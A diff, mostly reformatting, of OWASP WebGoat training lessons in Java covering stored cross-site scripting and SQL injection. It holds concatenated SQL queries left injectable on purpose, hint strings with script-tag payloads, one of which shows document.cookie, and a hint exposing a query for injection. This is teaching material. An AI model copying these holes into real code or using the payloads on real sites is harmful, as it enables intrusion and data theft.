public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
@ -353,7 +314,7 @@ public class UpdateProfile extends DefaultLessonAction
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
@ -375,21 +336,18 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
/**
* Validates that the given parameter value matches the given regular expression pattern.
*
@ -398,12 +356,10 @@ public class UpdateProfile extends DefaultLessonAction
* @return
* @throws ValidationException
*/
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
if (!matcher.matches()) throw new ValidationException();
return parameter;
}
@ -413,20 +369,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@ -13,72 +13,63 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
} catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID);
employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
updateLessonStatus(s, employee);
}
@ -86,61 +77,46 @@ public class ViewProfile extends DefaultLessonAction
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -149,58 +125,45 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -209,22 +172,20 @@ public class ViewProfile extends DefaultLessonAction
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
String stage = getStage(s);
int userId = -1;
try {
userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe) {
try
{
userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe)
{
}
if (CrossSiteScripting.STAGE1.equals(stage))
{
String address1 = employee.getAddress1().toLowerCase();
if (userId != employee.getId()
&& address1.indexOf("<script>") > -1
&& address1.indexOf("alert") > -1
if (userId != employee.getId() && address1.indexOf("<script>") > -1 && address1.indexOf("alert") > -1
&& address1.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE1);
@ -233,8 +194,7 @@ public class ViewProfile extends DefaultLessonAction
else if (CrossSiteScripting.STAGE3.equals(stage))
{
String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1
&& address2.indexOf("alert") > -1
if (address2.indexOf("<script>") > -1 && address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE3);

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -21,33 +21,32 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/**
/*******************************************************************************
* /*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -69,16 +68,11 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
@ -102,25 +96,20 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
@ -156,23 +145,21 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 };
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
@ -186,43 +173,37 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
if (action != null)
{
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
// setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -240,7 +221,6 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
@ -252,9 +232,10 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
}
@Override
protected boolean getDefaultHidden() {
protected boolean getDefaultHidden()
{
String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.sql.CallableStatement;
@ -5,9 +6,7 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -19,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -53,23 +51,18 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
HttpServletRequest request = s.getRequest();
int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
@ -80,24 +73,17 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.MANAGER));
int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.SALARY));
int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(DBCrossSiteScripting.DESCRIPTION);
int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
try
@ -105,8 +91,7 @@ public class UpdateProfile extends DefaultLessonAction
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ DBCrossSiteScripting.EMPLOYEE_ID, Integer
setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{
@ -122,20 +107,18 @@ public class UpdateProfile extends DefaultLessonAction
}
else
this.createEmployeeProfile(s, userId, employee);
}
catch (SQLException e)
} catch (SQLException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) &&
(e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) &&
!employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
if (DBCrossSiteScripting.STAGE2.equals(getStage(s))
&& (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters"))
&& !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{
setStageComplete(s, DBCrossSiteScripting.STAGE2);
}
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
@ -144,13 +127,11 @@ public class UpdateProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -165,9 +146,8 @@ public class UpdateProfile extends DefaultLessonAction
return DBCrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws SQLException, ClassNotFoundException
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException,
ClassNotFoundException
{
try
{
@ -191,15 +171,13 @@ public class UpdateProfile extends DefaultLessonAction
call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription());
call.executeUpdate();
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{
try
{
@ -226,14 +204,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
@ -245,20 +221,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.util.ArrayList;
@ -20,32 +21,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -70,16 +70,11 @@ public class DBSQLInjection extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
@ -100,8 +95,7 @@ public class DBSQLInjection extends GoatHillsFinancial
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
@ -111,22 +105,20 @@ public class DBSQLInjection extends GoatHillsFinancial
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
